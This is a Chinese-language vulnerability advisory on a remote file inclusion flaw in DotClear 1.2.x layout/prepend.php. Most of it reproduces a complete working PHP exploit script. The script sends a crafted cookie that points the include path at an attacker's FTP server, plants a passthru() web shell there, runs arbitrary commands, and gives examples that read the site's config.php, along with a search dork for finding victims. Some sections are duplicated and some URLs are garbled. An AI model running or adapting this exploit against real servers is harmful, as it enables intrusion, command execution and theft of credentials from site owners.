DotClear prepend.php远程文件包含漏洞
添加时间:
2008-10-03
系统编号:
WAVDB-00959
BUGTRAQ: 18259
影响版本:
Dotclear 1.2.1/1.2.2/1.2.3/1.2.4
程序介绍:
漏洞利用:
解决方案:
厂商补丁:
Dotclear
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dotclear.net/
信息来源:
<*来源:rgod (rgod@autistici.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114945772519229&w=2
*>
2008-10-03
系统编号:
WAVDB-00959
BUGTRAQ: 18259
影响版本:
Dotclear 1.2.1/1.2.2/1.2.3/1.2.4
程序介绍:
dotClear是一个的基于PHP和MySQL的Blog系统。
漏洞分析:
dotClear的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
在dotClear的layout/prepend.php文件78-104行:
- ...
- # Variable de conf
- $theme_path = $blog_dc_path.'/themes/';
- $theme_uri = dc_app_url.'/themes/';
- $img_path = dc_img_url;
- # D?finition du th?me et de la langue
- $__theme = dc_theme;
- $__lang = dc_default_lang;
- # Ajout des functions.php des plugins
- $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');
- foreach ($objPlugins->getFunctions() as $pfunc) {
- require_once $pfunc;
- }
- # D?finition du template
- if (!is_dir($theme_path.$__theme)) {
- header('Content-type: text/plain');
- echo 'Le th?me '.$__theme.' n\'existe pas';
- exit;
- }
- if (file_exists($theme_path.$__theme.'/template.php')) {
- $dc_template_file = $theme_path.$__theme.'/template.php';
- } else {
- $dc_template_file = $theme_path.'default/template.php';
- }
- echo $dc_template_file;
- # Prepend du template s'il existe
- if (file_exists(dirname($dc_template_file).'/prepend.php')) {
- require dirname($dc_template_file).'/prepend.php';
- }
- ...
没有正确的过滤$blog_dc_path变量。在PHP5中,由于is_dir()和file_exists()函数支持ftp wrapper,因此攻击者可以从远程资源在themes/default/文件夹中包含任意prepend.php文件并执行PHP代码。
漏洞利用:
- #!/usr/bin/php -q -d short_open_tag=on
- echo "DotClear <= 1.2.4 prepend.php/'blog_dc_path' arbitrary remote inclusion\r\n";
- echo "by rgod rgod@autistici.org\r\n";
- echo "site: http://retrogod.altervista.org\r\n\r\n";
- echo "dork: \"propuls? par DotClear\" \"fil atom\" \"fil rss\" +commentaires\r\n\r\n";
- /*
- works with PHP5
- register_globals=On,
- allow_url_fopen=On
- */
- if ($argc<5) {
- echo "Usage: php ".$argv[0]." host path ftp cmd OPTIONS\r\n";
- echo "host: target server (ip/hostname)\r\n";
- echo "path: path to dotclear\r\n";
- echo "ftp: a ftp location (without ending slash)\r\n";
- echo "cmd: a shell command\r\n";
- echo "Options:\r\n";
- echo " -p[port]: specify a port other than 80\r\n";
- echo " -P[ip:port]: specify a proxy\r\n";
- echo "Examples:\r\n";
- echo "php ".$argv[0]." target.com /dotclear/ pass@somehost.com" target="_blank">ftp://username:pass@somehost.com cat ./../conf/config.php\r\n";
- echo "php ".$argv[0]." target.com /dotclear/ pass@somehost.com/somedir" target="_blank">ftp://username:pass@somehost.com/somedir ls -la -p81\r\n";
- echo "php ".$argv[0]." target.com / pass@somehost.com" target="_blank">ftp://username:pass@somehost.com ls -la -P1.1.1.1:80\r\n";
- echo "note, on remote ftp you need this code in themes/default/prepend.php:\r\n";
- echo "<?php\r\n";
- echo "if (get_magic_quotes_gpc()){\$_REQUEST[\"cmd\"]=stripslashes(\$_REQUEST[\"cmd\"]);}\r\n";
- echo "ini_set(\"max_execution_time\",0);\r\n";
- echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";
- echo "passthru(\$_REQUEST[\"cmd\"]);\r\n";
- echo "echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);\r\n";
- echo "?>\r\n";
- die;
- }
- /*
- software site: http://www.dotclear.net/
- vulnerable code in layout/prepend.php near lines 78-104:
- ...
- # Variable de conf
- $theme_path = $blog_dc_path.'/themes/';
- $theme_uri = dc_app_url.'/themes/';
- $img_path = dc_img_url;
- # D?finition du th?me et de la langue
- $__theme = dc_theme;
- $__lang = dc_default_lang;
- # Ajout des functions.php des plugins
- $objPlugins = new plugins(dirname(__FILE__).'/../'.DC_ECRIRE.'/tools/');
- foreach ($objPlugins->getFunctions() as $pfunc) {
- require_once $pfunc;
- }
- # D?finition du template
- if (!is_dir($theme_path.$__theme)) {
- header('Content-type: text/plain');
- echo 'Le th?me '.$__theme.' n\'existe pas';
- exit;
- }
- if (file_exists($theme_path.$__theme.'/template.php')) {
- $dc_template_file = $theme_path.$__theme.'/template.php';
- } else {
- $dc_template_file = $theme_path.'default/template.php';
- }
- echo $dc_template_file;
- # Prepend du template s'il existe
- if (file_exists(dirname($dc_template_file).'/prepend.php')) {
- require dirname($dc_template_file).'/prepend.php';
- }
- ...
- $blog_dc_path var is not sanitized before to be used to include files,
- on PHP5, because is_dir() and file_exists() funcs support ftp wrappers,
- you can include an arbitrary prepend.php file in a themes/default/ folder
- from a remote resource, poc:
- http://[target]/[path_to_dotclear]/layout/prepend.php?blog_dc_path=password@somesite.com&cmd=ls%20-la" target="_blank">ftp://username:password@somesite.com&cmd=ls%20-la
- */
- error_reporting(0);
- ini_set("max_execution_time",0);
- ini_set("default_socket_timeout",5);
- function quick_dump($string)
- {
- $result='';$exa='';$cont=0;
- for ($i=0; $i<=strlen($string)-1; $i++)
- {
- if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
- {$result.=" .";}
- else
- {$result.=" ".$string[$i];}
- if (strlen(dechex(ord($string[$i])))==2)
- {$exa.=" ".dechex(ord($string[$i]));}
- else
- {$exa.=" 0".dechex(ord($string[$i]));}
- $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
- }
- return $exa."\r\n".$result;
- }
- $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
- function sendpacketii($packet)
- {
- global $proxy, $host, $port, $html, $proxy_regex;
- if ($proxy=='') {
- $ock=fsockopen(gethostbyname($host),$port);
- if (!$ock) {
- echo 'No response from '.$host.':'.$port; die;
- }
- }
- else {
- $c = preg_match($proxy_regex,$proxy);
- if (!$c) {
- echo 'Not a valid proxy...';die;
- }
- $parts=explode(':',$proxy);
- echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
- $ock=fsockopen($parts[0],$parts[1]);
- if (!$ock) {
- echo 'No response from proxy...';die;
- }
- }
- fputs($ock,$packet);
- if ($proxy=='') {
- $html='';
- while (!feof($ock)) {
- $html.=fgets($ock);
- }
- }
- else {
- $html='';
- while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
- $html.=fread($ock,1);
- }
- }
- fclose($ock);
- #debug
- #echo "\r\n".$html;
- }
- $host=$argv[1];
- $path=$argv[2];
- $loc=$argv[3];
- $cmd="";$port=80;$proxy="";
- for ($i=4; $i<=$argc-1; $i++){
- $temp=$argv[$i][0].$argv[$i][1];
- if (($temp<>"-p") and ($temp<>"-P"))
- {$cmd.=" ".$argv[$i];}
- if ($temp=="-p")
- {
- $port=str_replace("-p","",$argv[$i]);
- }
- if ($temp=="-P")
- {
- $proxy=str_replace("-P","",$argv[$i]);
- }
- }
- $loc=urlencode($loc);
- $cmd=urlencode($cmd);
- if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
- if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
- $packet="GET ".$path."layout/prepend.php HTTP/1.0\r\n";
- $packet.="User-Agent: Googlebot/2.1\r\n";
- $packet.="Cookie: blog_dc_path=".$loc."; cmd=".$cmd.";\r\n"; //through cookies, log this
- $packet.="Host: ".$host."\r\n";
- $packet.="Connection: Close\r\n\r\n";
- sendpacketii($packet);
- if (strstr($html,"*deli*"))
- {echo "exploit succeeded...\r\n";
- $temp=explode("*deli*",$html);
- die($temp[1]);
- }
- else
- {echo "exploit failed...\r\n";
- //debug
- echo $html;
- }
解决方案:
厂商补丁:
Dotclear
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.dotclear.net/
信息来源:
<*来源:rgod (rgod@autistici.org)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114945772519229&w=2
*>